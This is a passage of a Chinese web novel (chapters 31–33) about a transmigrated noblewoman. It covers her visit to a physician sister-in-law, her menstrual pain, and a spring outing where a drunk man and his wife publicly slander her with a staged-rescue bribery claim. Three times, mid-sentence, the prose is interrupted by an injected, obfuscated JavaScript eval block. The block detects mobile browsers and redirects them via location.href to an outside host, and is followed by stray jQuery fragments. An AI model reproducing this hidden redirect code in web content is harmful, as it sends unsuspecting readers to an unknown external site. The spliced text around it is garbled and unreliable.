“单说这味药材,我就实在想不起它的功效。”
“崔清婉”伸出手指隔空圈了一下,正巧姬承梧回过身,一边分装药材一边侧目瞧了眼。
“茜草炭啊,活血祛瘀、凉血止血。”
“嗯?活血……还止血?”
毕竟不修医药之学,“崔清婉”忍不住对这种听上去就很矛盾的药性发出一声疑问。
“是,人人都说你脱胎换骨、起死回生,但我一把脉便知,你这身子分明与以往没什么区别,还是旧病缠身。过几日你月事恐要来,我怕你腹痛难耐、经水涌多,所以让你先吃些舒缓的汤药。”
啊?月事?
Damn!忘记还有这么个麻烦事儿!
是绸布月经带还是什么草木灰扎的布条来着?
记不大清楚,以前她也曾好奇古代女子来月事时会使用什么,所以也特别去查过,结果嘛也很符合她的猜想,都是一些质朴易得的材料,且很容易造成感染。
天呐,让我快回到现代文明吧,这日子好艰难啊……
可惜不能将心底的无奈表露出来,不然“崔清婉”此时一定会冲到房间角落,对着空气喊上几句“苍天”什么的发泄发泄。
“啊,酸枣仁不够了。”
背对着“崔清婉”的姬承梧抽开药柜的小屉子,朝里面看了看,一时有些不满地叩叩屉面。
“崔清婉”听到声响,将带有疑惑的目光投向对方身后。
突地,姬承梧猛一回头,回看“崔清婉”的目光烁烁。
被这突来的盯视惊得一怔,“崔清婉”瞪大眼睛向四下扫视,实在看不出什么名堂来,只能小心发问。
“二……二嫂嫂,怎么了?”
“嘿,其实也没什么大事,不过是想要四妹妹多担待些。”
姬承梧向来平静的面上闪出一丝兴奋,这份异常弄得“崔清婉”心底发毛,态度更加恭敬。
“二嫂嫂不妨直言,有什么我能做的,我自该帮嫂嫂的忙,‘担待’二字未免太重了。”
“嘿,阿婉你看,我这病坊中确实人手不足,那安雅小丫头也初来乍到,事情交给她做我总还是不放心……”
姬承梧越说着,面上的兴奋越加明显,偏她平日都是不苟言笑的模样,这时笑起来反而让人毛骨悚然。
“二嫂嫂……还请直言……”“崔清婉”硬着头皮开口。
“我为你开的药方,其中酸枣仁还差二两八钱,只需你从附近药肆买来磨成粉,均分开来配在每副药中。”
还以为是什么不得了的大事,不过是这事,且不说可以托仆从帮忙购买,哪怕就是自己一会儿在回府的路上停下来去一趟药肆,也不是什么大问题。
真不知道姬承梧这位娘子为何会流露出这样反常而惊悚的笑容。
“崔清婉”释然一笑:“既是如此,那酸枣仁我便自己配来吧。”
“好,至于这药,你从今晚就开始喝,到月事来了便停止,身子净了再继续服用,服药结束后你来病坊寻我,或遣小厮到我府上与我约定,待我回老宅为你诊脉复查。”
在“崔清婉”答应后,姬承梧的反应堪称是变脸,她立刻恢复了往日那般无欲无求的神情,手中的动作也越发麻利。
不多时,十数副中药药包便被叠放在一侧,被云岫招呼上来的小厮取下了。
嗯……所以这位崔家二嫂嫂该怎样评价?应当算是性子乖僻?
如此看来,或许安雅小丫头比“崔清婉”想象中的还要敏锐,否则对方也不会奔也似的逃到二楼,初次相见,姬承梧的威慑力还是很足的。
然而不等半盏茶时间,“崔清婉”便明白,这位二嫂嫂不止是威慑力十足,连我行我素上也很值得赞叹。
就按正常流程下,即便她随行的仆从已然取走备好的药包,她们二人都该再寒暄几句,甚至“崔清婉”这个社恐本恐都做好了尬聊的准备。
哪知她正踌躇着要怎么开口,一抬眼只看到恢复了寻常面色的姬承梧满是疑惑,对方似乎在用无言的目光询问“都开好药了你怎么还不走”。
屋檐下暂歇的雀儿叽叽喳喳,倒显得病坊里缓声作响的药碾子颇为寡言,浸透过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936013|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烟火气儿的西市保有它一贯的熙攘,即便其中穿行过几位衣着鲜亮的尊贵人儿,也很快隐于喧闹之中,让人记不清了。
原来送人离开是这么简单的事吗?没必要的寒暄也可以拒绝不谈?
马车尚未启程,“崔清婉”挑起几根手指轻轻扶着车帘,一双澄湛眸子透过空隙瞧看病坊敞开的正门。
在门框两侧,贴有一副对联,上为“但愿世间人无恙”,下联为“宁可架上药生尘”。
抬眸看去,另见一副牌匾——非名家大作,也非崔家兄长的手笔,其为姬承梧亲自书写的“神农堂”——是不够标准的正楷,按理来说也不够水准用作门匾,但对方偏有勇气这样做,真是好魄力。
“四娘,可要驱车到附近药肆?若四娘累了,我们也可先回府,差个小厮买来便好。”
云岫靠近木窗柔声询问,她伸手将自家四娘扶开的帘子掩了掩,只留下一小道缝隙。
“无事,既都出了门,索性一并买齐吧,二嫂嫂都特意嘱咐过了,要我今晚便开始喝药呢——”
被唤回神的“崔清婉”收敛目光,可话至中半,她又一顿,似是想到什么,那清丽面容在帷帘的半遮半掩下竟也显出几丝罕见的难为情。
“另外,我想看看西市这边有什么糕点蜜饯,空口饮药,确实过于苦涩单调了。”
“行,难得四娘有这样的好兴致,”云岫温柔一笑,极为宠溺地应答着,“我知晴眉闲暇时最爱和府中的婶子们聊集市上的趣事儿,一会儿由她带路,定能让四娘尽兴。”
“云姐姐,”守在马车另一侧的晴眉听到这话,忙着一溜小碎步过来,“云姐姐和四娘在说什么?是在说西市哪里有好吃的和好玩的吗?”
“是啊,今日便是你大显身手的机会,你要是把四娘哄尽兴了,我下下月便放你半日赶集逛庙会的空闲。”
“没问题!四娘是想尝尝顺缘堂的蜜,和兴斋的糕?还是说口味清甜一点的酪?哎呀不行,酪得现吃,藏不了太久……”
“那要不试试自西域商人们传来的鹘突冷淘?哦对!听说近日有粟特的的商队前来,带了库莫奚族的马匹雄鹰呢!四娘要不要去看看!”
“真是厉害,原以为我们晴眉只知道些口腹之事,不曾想连外族商人的动向也关注,这不禁让我反省,是不是给你活儿派少了?”
看着滔滔不绝的晴眉,云岫眯眯眼睛,一副假装恼怒的模样。
“不不不,没有!”晴眉立刻否认。
“这是因为云岫心思细密又能干,所以才衬得我和晴眉像个闲人,”
虽然说现在交谈氛围格外放松,但想起上次云岫因自己的事而斥责晴眉,生怕再有那种场面,“崔清婉”赶紧插话转移谈话重点。
“不过我们还不启程吗?再横在二嫂嫂的病坊外,只怕一会儿二嫂嫂要遣人驱赶我们了。”
“好,既然四娘都这么说了,晴眉,你就来安排接下来的行程吧,但得先去最近的药肆,随后再去别家铺子,不过只要赶在闭市前我们回府便好。”
“欸!好嘞!看四娘有兴致,不如我给四娘讲讲这市集上的趣事儿吧?”
“晴眉大师愿开金口,那我当然是恭敬不如从命了。”
“哎呀,四娘怎么这样说,好了好了,我先和徐伯交代一下,一会儿回来给四娘讲。”
屈身告退,晴眉加快脚步走到马车前端,嘀嘀咕咕地向中年大汉交代几句,仔细确认过后,马蹄声渐起,车铃的“叮铃”声再度响在栖凤城西市之间……
31.踏青·流言(上)
难怪姬承梧催她在诊脉后的当晚便要熬药服用,想来是算准了她月事立马要来,怕她大病初愈后身子虚弱受不得经期之痛才这样急切。
只是不曾想就在服药后的第二日,她本着小安雅那桩事算告了一段落的心思,企图前往曲氏姐弟的住院去“叙叙旧”,看能不能关于二人之前的反常行为套出一些话。
结果尚未进入正题,就在为表现亲近而随曲知笙旋转舞蹈的过程中感到一股暖流涌出。
不清楚坐在院内角落胡凳上击鼓的曲游欢有没有注意到她身上的变化,总之她很笃定,她绝对在察觉到不对劲后以最快的速度奔回自己院子,然后匆忙换上前一晚托云岫准备下的月事布。
简陋,但也能用,而且就实际来说,不论是质量还是数量,她所能享用的已远远超过普通女子。
只是她尚且能用身份显赫这一原由来说服自己心安理得地使用丝绸做的月事布,可要她把换下来的布料交给云岫、晴眉来洗净晾晒,这怎么想都让人无法接受。
为此,她没少因为处理月事布而和两位贴身侍女打游击战。
而除却经血的处理问题,另一要事便为——那简直叫人难耐的疼痛感。
不是尖锐的刺痛,也不是间歇的阵痛,而是持续又不致命的闷痛,好像是整个腹腔都在痛,但又寻不到具体的来源。
痛经的折磨她也在现代时体验过几次,但总的来说,比较轻微,喝些热姜茶能舒缓许多。
可现下这次,她真是头一遭感受到疼痛得意识模糊是什么滋味,吃不下饭也睡不好觉,一直若有若无的恶心反胃,虽不至于让她嘶吼惨叫,却也在无意识地哼哼唧唧。
连续五六日待在屋内,要么躺着,要么坐着,唯一能消遣的也就是读几页诗书。
好吧,其实也没读多少,她哪儿有心情品读诗文?只不过是找几本来辨认一番,看看与自己原本世界中有几分相似。
文字、习俗、制度,甚至大部分古籍思想都相吻合,可偏偏在细节上有一定的出入,自然,朝代更迭也对不上。
是平行宇宙,还是架空时代?
“崔清婉”叹口气,想不明白,算了,都有借魂这种事情发生,怎么可能还与自己熟知的世界一样呢?
“四娘子,妾继续上次的舞,就在此处,好吗?”
熏风撩垂柳,半掩说话人姣好的面容,身着杏红色窄袖长衫的曲知笙此时踮脚在草地中转了几圈,腰铃悦耳,身姿绰约,甚衬美景。
四月未过上旬,草木渐褪嫩色,此时说是踏青,其实已然过了时节,但见碧空如洗,日华灿灿,“崔清婉”又因生理期在府内憋屈了多日,说什么今天也要出来。
当然,带上曲氏姐弟,还是想继续进行那日突然中断的套话。
从崔府到这栖凤城南郊十余里的地界儿,约莫用了一个时辰,三四辆马车行在大道上,颇为惹眼。
而以重视门客为由,“崔清婉”邀请曲知笙与自己同乘一辆马车,路上她自然没有闲着,可多番试探下来,并不见曲知笙有什么心虚慌乱,坦白直言的模样说明那夜的事确实是个巧合。
“不用歇一歇吗?虽行的官道,但也有颠簸,而且游欢的蛮鼓也才从车上取下,你总得等等他。”
下了马车的“崔清婉”连连摆手,谢绝了云岫支好的胡凳,实际上她很想伸个懒腰、活动活动筋骨,但碍于四周还有零散的赏景人,所以也只能让自己站得挺拔些算作是舒展。
而才支着架子想要为蛮鼓搭个平稳地儿的曲游欢听罢这话,忙是抬起头怯然一笑,白皙清瘦的面容少了初见时的阴郁,倒多了几分“本该如此”的怡然之色。
“四娘子不必顾及我,阿姊遗憾那日起舞中断,今日特地往革带上多系了几枚铃铛,就怕我出了什么岔子,不能及时伴奏。”
“是,铃音响脆,妾为四娘子特意准备的。”
曲知笙一边说着,一边拧拧腰肢甩动腰铃,她动作自然未有造作之意,就连富有节奏的金属音也爽利地应和着她的坦率。
“那既如此,就请知笙不吝舞姿,让我一饱眼福吧。”
“喏!”
仿佛得到什么天大的许可,曲知笙眸光焕发,紧盯着“崔清婉”向一旁兴奋地闪了几步。
山间碧草如茵,嫩柳随风,上见桃李繁花满枝,下闻溪流潺潺淙淙。
身穿胡人杏红色长衫的女子先一抬臂,后是击掌三声,引得周遭人皆转首侧目,而她对旁人注目未有一丝留恋,只目不转睛地回看不远处一袭雪青底银丝花笼裙的清丽娘子。
腰身未动,肩臂先行,只见曲知笙双手翻转,宛如栖木神鸟,抬眉浅笑间已然起势。
回身半蹲,单臂托出,一翻腕,复起身而立,她不似习软舞者娇媚无骨,肩臂半抬间,她身姿挺拔,颇有纵马疾驰之英姿。
伴着渐响铃声,她如沙洲雄鹰,猛地张怀甩袖,忽又收手侧弯,半掩面容却留一双张扬自信的眸子直勾勾盯看观者。
回旋、腾跳,她动作明快身形轻盈,不时穿插昂首之态,甚为肆意豪迈。
“咚!”
“咚!”
以两道渐弱的鼓声铺垫,奏乐之人也终于赶赴舞宴进程,那透亮鼓音逐渐强劲,和着腰铃声纠缠不休。
腾跳飒爽、旋转明快,曲知笙虽身着窄袖,但胡衫宽松,她衣袂翻飞间带动近身的荼白落花,一如北风搅动漫天玉尘,俏丽且婀娜。
急破催摇曳,罗衫半脱肩。
以往只在诗词中品味想象,如今亲眼看了,竟觉得再也没有比这更贴切的。
即便驻足围观者愈发增多,但“崔清婉”还是难以掩饰她眼中乍泄的惊喜之情。
这或许与她在人前刻意保持的沉静淡然形象不同,可她没办法,情由心生,无论怎样克制终究还是会在某些地方流露出来。
“‘落花绕树疑无影,回雪从风暗有情’,某当是哪家舞姬有如此风采,原是出自崔四娘子宅邸。”
循声而看,远超常人的高大身影极易辨认——
鼻梁挺拔如山,眉眼间满溢凛然正气,罩在男子魁梧体格外的是一袭藏蓝绣金狮子联珠纹圆领袍衫,其腰间饰有皮质革带,上缀非金即玉,甚为华贵。
但意外的是,他手腕处所佩戴的皮质扩腕已有磨损,比起这一身精美奢贵的行头,属实有些老旧了。
“真是巧,居然能在踏青途中碰到裴将军。”
虽高对方一个品阶,但“崔清婉”还是垂眸颔首以示礼貌,不过这样干巴巴一句话实在单薄,她眼珠子一转,忙着又凑了半句客套话。
“说来我未曾亲自登门道谢,实属失礼,还请将军见谅,前几日真是多谢将军府上的马车了。”
“将军?”
裴如信轻轻重复这一称谓,而后不动声色地迈步,将那藏蓝色的雄壮身影横在“崔清婉”的眼前,遮挡住对方欣赏翩然舞姿的视线。
“你入水救人才将十日,竟有这般好心思,还来踏青?”
眼瞅着无法越过他看向曲知笙,“崔清婉”也只能认命地继续与裴如信寒暄。
抬头上看,对方还是那张始终让人捉摸不透的冷峻面容,但与初次相见时那抹极为怪异的瞥视相比,如今的裴如信已收敛了诸多情绪,只是那份审视自己的意味依旧存在。
呼……真不知往日里的清婉娘子究竟怎样得罪过他……
心中无奈叹气,“崔清婉”此时竟没来由地怀念起去值守皇城的崔皓羿来。
不过是矮裴如信五六公分的高度,但崔皓羿与自己交谈时可没有这般临下的姿态,对方总会在言语时半倾身子,轻声细语间尽显“亲不亵狎”。
然而不管有再多的小心思,“崔清婉”面上总还得保持笑吟吟的模样,她稍歪发髻,轻声开口。
“虽赶不上春意萌发之刻,但见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936014|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
初夏风光也别有滋味。倒是不知裴将军怎么有空在此游玩,是休沐,抑或是告假?我原以为身居将军一职,得常驻军营操练士兵呢。”
没有接她为了寒暄而抛出的问题,裴如信只是点点头评价了句——
“脾性多些勇毅,但开口间也不似往日般中听了。”
“呵……”
寒暄就寒暄,点评个鬼!是有人给你塞了点评返现卡吗?还是你开了大众点评的会员啊!
内心翻个白眼,“崔清婉”可不打算忍着对方,总之有离魂症兜着,适当释放天性也算是减压了。
“说到言语不中听,在将军面前,我还是班门弄斧,惭愧惭愧。”
本以为自己回呛一句会引得对方再度甩来冰冷瞥视,却不想裴如信面上的肃穆竟柔和了些,甚至他眉眼间不见恼怒,反添几分欣赏。
“性子也非往日般柔顺。”
呸!
“崔清婉”心中又是一啐,撑着脸上的笑意回道:“直接下水救人虽显鲁莽,但终究是善事一件,若以此便说我非往日般柔顺,清婉倒有些不明白。”
“还学会了装糊涂。”
屮!不接招!还保持输出!算你狠!
“崔清婉”收回看向裴如信的目光,垂眸间顺势低下头,也算是让自己的脖颈缓缓劲儿不那么酸乏,只是没想到自己刚与他的视线错开,他便再度开了口。
“脾性长些也算好事,某可不愿看到你颓丧模样,嗯,不吉利。”
你才不吉利!明明你整张脸都写满苦大仇深好像那个墓碑吞噬者!还敢说我不吉利!呸呸呸!
自然是不能真骂出来,“崔清婉”还是很会掂量自己释放天性的程度,她紧咬下唇,将涌到嘴边的脏话忍了又忍。
莫名而起的斗嘴暂且停止,裴如信作为胜者悠闲地向一旁跨了半步,走到垂头不语的败者身侧。
他随意地扫了一眼不远处因婆娑起舞而引得众人围观喝采的舞姬,似乎是想起什么,他再度开口。
“不过你虽与往日里判若两人,某却希望你还记得《绿腰》怎么舞,别到了五月初七的宴会上,盛王邀你起舞时,又丢了面子。”
“哈?”
对方话音刚落,“崔清婉”便猛地抬头,她手指朝向自己,以纯度百分百的惊诧神情看向裴如信。
“跳《绿腰》——我?真的假的?”
裴如信微微俯首,将视线再度锁在“崔清婉”身上,他眸底深处,一丝转瞬即逝的打量迅速划过。
“自然是你,以舞相属虽有成礼,但盛王喜好乐舞早就不是什么秘闻。以你往日《绿腰》之名,宴会上请你独舞也非逾矩。”
“只是以往这般情形,你不是衣裙湿乱,就是不胜酒力,愿你这次别再出什么岔子。”
“衣裙湿乱、不胜酒力?”
收起一些诧异神色,“崔清婉”垂下眸子喃喃自语。
“反正也有先例,不如我再出点岔子,这样不就可以撂挑子不用舞了?”
“嗯?你现在就要认输?”裴如信皱起眉头,恢复初见时略带轻蔑的神色。
“没有!”
察觉到高大身影的威压迫近,“崔清婉”果断摇头并矢口否认,利索动作间她发髻上的首饰也铮铮作响。
然而还不等对方再做什么反应,那被忽略了半晌的舞地上却横生变故——只听得“哎哟”一声惊呼,抬眼看去,竟是几人撞翻在地,男男女女,横七竖八。
几乎是同一时间,用来伴奏的鼓声即停。
反应最快的曲游欢立马抬步上前想要搀扶被压倒在地的曲知笙,不想他刚扑到对方身边蹲下,那乱作一团的地上竟悠悠传来一句惊世骇俗的醉语。
声音不大,但偏让在场之人都听得真切。
“小娘子嗝——小娘子美貌,湿身之态更是妖媚诱人呃——不如和我进这溪中,来,来场鸳鸯浴如何嗝呃——”
32.踏青·流言(中上)
撞倒的是曲知笙,可在场之人近乎一半都将目光投向了“崔清婉”。
“湿身之态”——仅仅四个字就很容易让人联想到数日前这位崔娘子当街入水救人的举动。
对寻常百姓而言,站在魁梧男子身边的清丽娘子衣着不凡,二人大抵是私交甚好的权贵子弟,他们并不知晓她究竟是谁,也不觉得现下这场景有什么难堪。
可在稍微有些身份的人眼中,此情此景显然不是那么简单的一回事。
顾不上方才耸人听闻的醉话,曲游欢迅速将曲知笙扶了起来,扯着她的衣袖将她拽到一旁,生怕沾染上醉汉的半点气息。
短褐着身的醉汉仰面朝天,半耷拉着眼皮,对旁人的躲避毫不在意。
许是身下有什么硌着,他懒散地蹭着地面挪动了几下,而后再次无谓地摊开身子,带有泥垢的脚踝不停抖动,衬得一双崭新草鞋格外惹眼。
“嗝呃……湿透的衫裙裹着赤色肚兜,又圆又润嗝呃——腰细!屁股……屁股也大!上岸时还颤巍巍的……嘿嘿……嘿……”
不着边际地胡言乱语,说到尽兴处,醉汉还向上顶顶胯、抬起胳膊比划几下,仿佛虚空中真有个人在让他抚摸淫污。
见到大汉这副模样,围观中的女子多半羞红了脸颊,忙着从地面上错开目光,极少数怒目而视,对这样荒谬无耻的言行甚为不满。
而男子们有皱眉摇头的,有目光烁烁的,绝大多数还是等好戏的看热闹模样。
“崔清婉”紧紧牙关,克制住想要揪起对方领子给他几巴掌的冲动,她能察觉到四周路人隐晦又戏谑地打量。
自然,还有面前这个高大身影所散发出的低沉气压。
任她与裴如信如何耍嘴皮子,崔、裴两家终究是有交情在的。
况且今日之事明晃晃冲她而来,哪怕她和裴如信真有些过节,此时此刻,他定然也会看在与崔皓羿私交的份儿上帮她一把。
可裴如信现下不能发火,她也不能。
这大汉一副醉醺醺的模样,尽管言语冒犯,但毕竟没有指名点姓,若“崔清婉”这方有人沉不住气,真搅合进去,那才是坐实了对方所言皆指她自己。
如此一来,她必将成为整座都城茶余饭后的谈资。
“四娘……”
云岫上前半步,凑近自家娘子身边低低唤了一声。
她当然明白云岫意思,不过最终还是选择摇摇头,强忍心中不快,她轻声回道:“无事,吩咐他人准备收拾东西,我们在附近换个地方。”
“喏。”
看自家娘子沉得住气,不像是被惊着的模样,云岫敛去面上的恼怒,只是颔首退下,转而朝向其他小厮嘱咐安排。
“粉香汗湿……春逗酥融……浴罢……浴罢扪弄处……凉沁紫葡萄……”
无人阻拦,醉汉更是悠悠地哼起了坊间伶人编的艳曲,他平躺着翘起二郎腿,单手搭在肚子上挠了挠,一副混不吝的模样。
“醉酒闹事,还在此大放厥词,来人将他拖下去,莫让他再哗众取宠。”
听清醉汉含糊的唱词,裴如信面上愈发冷漠,他背着手向前踏了半步,语气低沉颇具威严,一时间,四下低和的曲音迅速中断。
“谁、谁家郎君……真是好生威风哈啊——”
醉汉打了个哈欠,酒臭味立即向四周弥散开来,近他身的围观者忙是皱眉掩鼻,顺手又在眼前扇了扇。
见状,醉汉“嘿嘿”一笑,似是对自己行为很是满意。
都说酒壮怂人胆,许是有几分道理,只见这大汉用胳膊肘撑住地面,将半个身子往起支了支,随后他睁开快要眯着的双目瞟了眼不远处的“崔清婉”,神色一亮,而后他再度开口。
“又白又净,我家婆娘要有你这般,嘿,这般柔嫩……裁二尺布算什么,就是呃,就是要玉簪我也给她搞来嗝呃……”
“你早说你想借我家伢子做场戏,何必要五十金,你只消让我摸一摸,我就全依你了……”
简直荒唐,且无耻!
若说醉汉最开始的言谈是不提及名姓的意淫,那他而今所说便是几近赤裸的污蔑。
这无端恶意让“崔清婉”眉头越皱越紧,她整个人僵在原地,因遏制怒火而攥紧的拳头已隐隐颤抖,纤细指节也紧绷得发白。
裴如信侧眸瞥向她,目光凝重,随即他横跨一步将“崔清婉”挡在身后,未有技巧,他仍是直接粗暴地用权势压人。
“已听得训斥却还不住口,尔不过几杯金波下肚,竟敢当众胡言?擦亮尔的狗眼,这可是圣人亲封的郡夫人,岂容尔在此污蔑?来人,掌嘴!”
啪!啪!啪!
几道深色衣衫的人影得令后便迅速上前,他们动作利落地架起醉汉,抬手便给了那厮几个巴掌。
不得不说,这样的解决方式算不上最优,但确实有效。
相较“崔清婉”而言,前来游玩的人们有不少是认识世代为将的裴家郎君,于是他们很给面子地陷入沉默,只留裴府下人压制住醉汉掌嘴的动静。
虽说被挡住视线,但“崔清婉”还是从旁侧瞧到了前方的响动,她急促地吸了半口气,欲言又止。
来不及劝阻……或许,是不知道该不该劝阻……
坦白讲,“崔清婉”自己都很想冲上前给这个莫名冒犯自己的男人来点教训,可当真有人来帮她出这口气时,她内心深处竟然很圣母地觉得不应该。
以直报怨,以德报德;以德报怨,何以报德?
道理她是明白的,但见到醉汉被挟持住只能忍受单方面的殴打时,她还是有些于心不忍。
不是不能教训,只是这样仗着权势来压制,总让她心中不得劲。
就好像……就好像她才是那个仗势欺人的恶霸,此刻正在鱼肉乡里……
而且,若她没有权势呢?是不是此时只能忍气吞声?
一时间她不清楚她是在为谁心软,只是觉得可悲。
但她不在现代社会,眼下这个局面中,如此做似乎是最合理不过的,毕竟她是“崔清婉”,是堂堂云中郡夫人,是崔家四娘子,被平头百姓得罪了,掌嘴似乎是最轻微的责罚。
理智要求沉默,但良心又挣扎不断,胸口像再次被堵上巨大石头般,只能让她重复着深呼吸来缓解不适。
一旁的云岫见了,递了个眼色让晴眉去取随行带的水,而她则是上前,不断为自家娘子顺着背,轻声宽慰着。
“四娘莫要为这种无赖动怒,裴将军已差人惩处他了,若四娘还不解气,将他绑起来送入官府,也是行的。”
送官府?也算个办法。
可怒吗?倒不全是。
是无奈吧,是这种被身份困住的无奈……
如果是她亲自动手,多半不会有这几位仆从下手狠辣解气,可那将是自己打的,即便顶着“打人不对、有失礼节”的争议,但终是自己打的。
如今任由下人替自己施暴的行为,这又算什么呢?
崔清婉或许能接受这样的处理方式,但她不是崔清婉。
……只是她又能做什么呢?
忽地自嘲一笑,堵在她胸口处的大石倏地粉碎,湮化成一团看不透、驱不尽的粉尘,呛得她眼眶中涌出一股股酸涩。
罢了,就当她怯懦且卑鄙吧,就给这醉汉几个嘴巴子,就让这件事到此为止吧。
如此想着,“崔清婉”收敛眸底的沉痛,她屏吸一口气,打算喝止下人的举动。
“好了,住手——”
似乎是舍不得这场消遣利落地结束,“崔清婉”话音尚未落地,不知从哪个方向,又传来一声哭天抢地的嚎叫。
“俄老汉!俄老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936015|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汉!莫打!莫打唷——”
平地响惊雷,莫名而来的一句话像是突响的锣鼓声。
伴随尖锐嗓音,一道暗色身影从人群中麻利冲出,先是扒拉开负责掌嘴的小厮,随即“扑通”一声,人影跪伏在地,叩首间还有一连串密集的求饶。
“是四娘子允了俄五十金,说只要俄娃掉一次水,让四娘子救一次,就妥咧,四娘子可不兴不认!俄们家娃娃还病在屋里头,等着钱救命哩!”
“俄胆小,俄被俄老汉打怕咧,当日的谋划莫敢让他知哈,谁知他奏醉在桥边,刚好瞧见俄娃被四娘子救哈。”
“四娘子长得俊,他一时没忍哈动了歪心思……其实也莫啥,他回屋里头鼓捣一通俄也就罢咧,谁知可巧,正好遇上娘子府上的人前来问话,这一哈全让他知晓咧!”
“他蹲在娘子府门口蹲了多天哩,奏是不见四娘子出门,今日他不去田里,说去吃酒,俄怕出事,才偷偷跟上他。谁知他听人说四娘子出门游玩,他醉昏昏地拔腿就跑,忙戳戳就杵过来咧。”
“冒犯到四娘子是俄老汉不对,但倒究本,是四娘子允俄家的钱还没给哩,四娘子打也打过咧,能不能把钱给俄们,俄保证俄老汉以后再也不会生事,俄们全家老小都感激四娘子的大恩大德……”
一石激起千层浪,抛出海量信息的女人语罢便低低伏在地上,好似四周的嘈杂与她无关,她只是不懂人情世故的朴实百姓,她说的一切都真实可信。
棕褐襦裙褪色泛旧,紧紧勒在女人瘦小的身躯上,粗布条绾起的长发枯黄干涩,即便用了三两根乌木簪也难以阻挡碎发的毛躁出逃。
她面容憔悴,整个人就像是酷暑被遗忘在发馊洗碗水中的破抹布,唯有裹在肩头的檀红色帔子为她增了几分生的气息。
不过这里无人在意她的衣着,就像没人在意她看上去竟比醉汉小了十余岁的事实,人们只在意她冲过来又为这场大戏添了什么猛料——
“难怪那日救人的都是他们崔家人,原是这样,真想不到……”
“真是偷鸡不成蚀把米!还想扬名声,不如扬扬那红肚兜吧,湿了衣衫还搔首弄姿,真让人不齿!”
“桓王休了的货色,能有什么正派行径?就这还算出身名门,可见名门大族多的是鬼心思!”
“哎可别说,要给我五十金,我也干!”
“给我三十金就行!”
“要什么金子?没听那大汉说吗?嘻,能摸上一摸。”
……
有醉汉妻子的话佐证,旁人也顾不上威严如山的裴家郎君还站在那儿,他们三三两两的低眉侧首,窃窃私语着。
而事态演变到此情此景,已不是他人插手就能解决的程度,裴如信皱着眉头看向“崔清婉”,隐隐恼怒的目光中不见怀疑,只有慎重。
“崔清婉”未在意裴如信的眼神,她向前踱了几步,明澈双目死死盯住这夫妻二人,她的眸中充斥着不解,那灼热的目光似乎要将眼前一切全都烧融。
如果说先前是愤怒与自省,那此刻难以掩抑的苦涩是什么?
原来人在受到无端中伤后,第一反应不是辩解,而是困惑。
为什么是我?为什么要这般胡言?为什么非得针对我?
在对方滔滔不绝、无比真诚且煞有其事的描述中,被中伤者甚至也会有一丝动摇。
难道……真是我的错?莫非我真的做过?
真是可笑又可怜的反应,头一遭被如此对待的“崔清婉”就这样略显呆滞地扎在原地。
她甚至比不上砧板上被开膛破肚的河鱼,她连抽搐挣扎的劲儿也没有,她觉得自己方才的善念像个笑话,她竟然因为对方的身份就想轻易原谅。
哈,谁说捕兽的夹子就一定是光亮崭新的呢?锈迹斑斑的夹子才更能确保猎物的死亡,不是吗?
33.踏青·流言(中下)
“如此没良心的话,亏你们也能说得出口?我们崔府何时做过如此没脸面的事来?”
眼瞅着自家娘子不肯言语,作为贴身侍女,云岫理所应当地站出身来喝骂对方。
“世人皆知我家四娘是大难逢生,自然病体羸弱,当日义举,乃是我家四娘为人心善,岂容你们张口污蔑!”
“俄可不敢污蔑,俄有娘子的梳栉当信物哩。”
“信口开河!你能有什么信物?”
“俄真有……”
听罢崔府侍女斥责,那瘦削女人用半大的声音嘟囔着回了一句,随后她直起身来,小心翼翼从怀中掏出一个精致布包。
与包裹所用绸缎的光滑不同,她饱受劳作的手指布满结茧,粗糙得仿佛能将这绸布剌开一道口子。
颤颤巍巍,她轻轻捏开布料一角——展现在众人眼前的是一把做工精良的透雕鸳鸯海棠花纹金背玉梳。
“这!这梳子怎么会在你手上!”
云岫诧异失声,她猛地向前一跨,失态间便想要将那梳栉抢到手中。
而跪地女人似是预料到对方的举动,立即缩手将梳栉护到怀中,随后半斜身子,仍旧用不大不小的声音自语着。
“俄说咧俄有信物,要不俄们不敢来指认,你这位小娘子紧跟着四娘子,你都看准的东西,想来能证明俄说的是真哩。”
“我——”
云岫正欲分辩却是一顿,大户人家的贴身侍女,哪个不是被培养得擅于察言观色?此时她心下已然明了,这是自己也被算计了进去。
双唇开合间,她未再多言,只是急急掠看自家四娘一眼后,“扑通”一声便跪在地上。
“云岫该死,是云岫粗心大意,四娘回府那日云岫慌慌张张,遗失了不少财物,恐四娘怪罪,便隐瞒至今,不曾想失物被他人捡去做了文章。”
“今日被人算计合该是云岫的错,还请四娘责罚。”
